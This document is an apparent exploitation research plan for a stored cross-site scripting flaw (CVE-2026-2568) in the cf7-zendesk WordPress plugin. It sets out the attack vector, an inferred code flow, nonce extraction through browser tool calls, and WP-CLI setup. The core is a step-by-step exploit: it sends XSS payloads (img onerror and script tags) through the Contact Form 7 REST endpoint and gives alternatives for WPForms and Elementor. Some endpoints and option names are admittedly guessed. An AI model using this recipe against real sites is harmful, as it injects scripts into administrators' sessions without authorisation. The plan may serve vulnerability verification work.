WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms <= 1.1.5 - Unauthenticated Stored Cross-Site Scripting

This research plan focuses on CVE-2026-2568, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms plugin (slug: cf7-zendesk).

1. Vulnerability Summary

The cf7-zendesk plugin integrates various WordPress form builders with the Zendesk ticketing system. When a form is submitted (via CF7, WPForms, etc.), the plugin captures the submission data to sync it with Zendesk. The vulnerability exists because the plugin stores this submission data—including malicious scripts—and subsequently displays it in the WordPress administrative dashboard (likely in a log or history view) without proper sanitization on input or escaping on output. Since form submissions are typically unauthenticated, any visitor can inject a payload.

2. Attack Vector Analysis

• Vulnerable Endpoint: The submission endpoints of any of the supported form plugins (e.g., Contact Form 7's AJAX submission handler).
• Vulnerable Parameter: Any form field captured by the plugin (e.g., your-name, your-email, your-message).
• Authentication Level: Unauthenticated (PR:N).
• Preconditions:
  1. The cf7-zendesk plugin must be active.
  2. At least one supported form (e.g., Contact Form 7) must be published on a page.
  3. The plugin must be configured to log or display submission attempts in the admin area.

3. Code Flow (Inferred)

1. Entry Point: A visitor submits a form (e.g., Contact Form 7 via wp-json/contact-form-7/v1/contact-forms/{id}/feedback).
2. Hook Trigger: The plugin listens to a hook like wpcf7_before_send_mail or wpcf7_mail_sent (for CF7) or wpforms_process_complete (for WPForms).
3. Data Capture: The plugin retrieves the raw $_POST data.
4. Storage (Sink): The plugin stores the captured data in the database (likely using update_option(), add_post_meta(), or a custom $wpdb table) to maintain a log of synced tickets.
5. Rendering (Sink): An administrator navigates to the plugin's log page (e.g., wp-admin/admin.php?page=cf7-zendesk-logs). The plugin retrieves the stored data and echoes it into the HTML table without calling esc_html() or wp_kses().

4. Nonce Acquisition Strategy

While the submission of forms generally does not require a WordPress AJAX/REST nonce (as they are meant for public users), the form builder plugins themselves often use internal nonces or hidden fields to prevent spam.

Strategy for Contact Form 7:

1. Identify Shortcode: The shortcode for CF7 is usually [contact-form-7 id="123" title="Contact form 1"].
2. Setup Page: Create a test page containing this shortcode using WP-CLI.
3. Extract Form Data:
   • Navigate to the page using browser_navigate.
   • The form ID and internal CF7 unit tags are required for the request.
   • If the form uses a nonce (CF7 sometimes uses _wpcf7_nonce), extract it:
     browser_eval("document.querySelector('input[name=\"_wpcf7_nonce\"]').value")

5. Exploitation Strategy

We will use Contact Form 7 as the vehicle for the stored XSS.

Step 1: Discover Form Metadata
Identify an existing Contact Form 7 ID.
wp post list --post_type=wpcf7_contact_form

Step 2: Send Malicious Submission
Submit a POST request to the CF7 REST API endpoint.

• URL: /wp-json/contact-form-7/v1/contact-forms/{ID}/feedback
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Payload Parameters:
  • _wpcf7: {ID}
  • _wpcf7_unit_tag: wpcf7-f{ID}-p1-o1
  • your-name: <img src=x onerror=alert("XSS_NAME")>
  • your-email: attacker@evil.com
  • your-message: <script>alert("XSS_MESSAGE")</script>

Step 3: Trigger Payload
Log in as an administrator and access the plugin's log view:
GET /wp-admin/admin.php?page=cf7-zendesk-logs (exact slug to be verified via wp menu list)

6. Test Data Setup

1. Install Plugins: Ensure cf7-zendesk and contact-form-7 are installed and active.
2. Create Form: If no form exists:
   wp post create --post_type=wpcf7_contact_form --post_title="Exploit Form" --post_status=publish
3. Create Landing Page:
   wp post create --post_type=page --post_title="Contact Us" --post_content='[contact-form-7 id="{ID}"]' --post_status=publish
4. Configure Plugin: Ensure the plugin is set to log submissions. (Check for an option like cf7_zendesk_enable_logs in wp_options).

7. Expected Results

• The CF7 submission returns a 200 OK with a success message in JSON.
• Upon the administrator viewing the logs, the browser executes alert("XSS_NAME") or alert("XSS_MESSAGE").
• The raw HTML of the admin page shows the payload unescaped: <td><img src=x onerror=...

8. Verification Steps

1. Database Check: Check if the payload is stored in the database.
   wp option get cf7_zendesk_history (inferred option name)
   wp db query "SELECT * FROM wp_options WHERE option_name LIKE '%cf7_zendesk%'"
2. DOM Verification: Use browser_navigate to the admin log page and check for the presence of the alert or the injected tag.
   browser_eval("document.body.innerHTML.includes('onerror=alert')")

9. Alternative Approaches

• WPForms: If CF7 is not present, use WPForms. Submit to /wp-admin/admin-ajax.php?action=wpforms_submit with the wpforms[fields][0] parameter containing the payload.
• Elementor Forms: Submit a POST request to a page containing an Elementor form with action=elementor_pro_forms_send_form.
• Zendesk API Mock: If the plugin fails to store logs because it can't connect to Zendesk, it might be necessary to provide a dummy Zendesk API Key/Subdomain in the settings to satisfy the plugin's logic before it reaches the logging sink.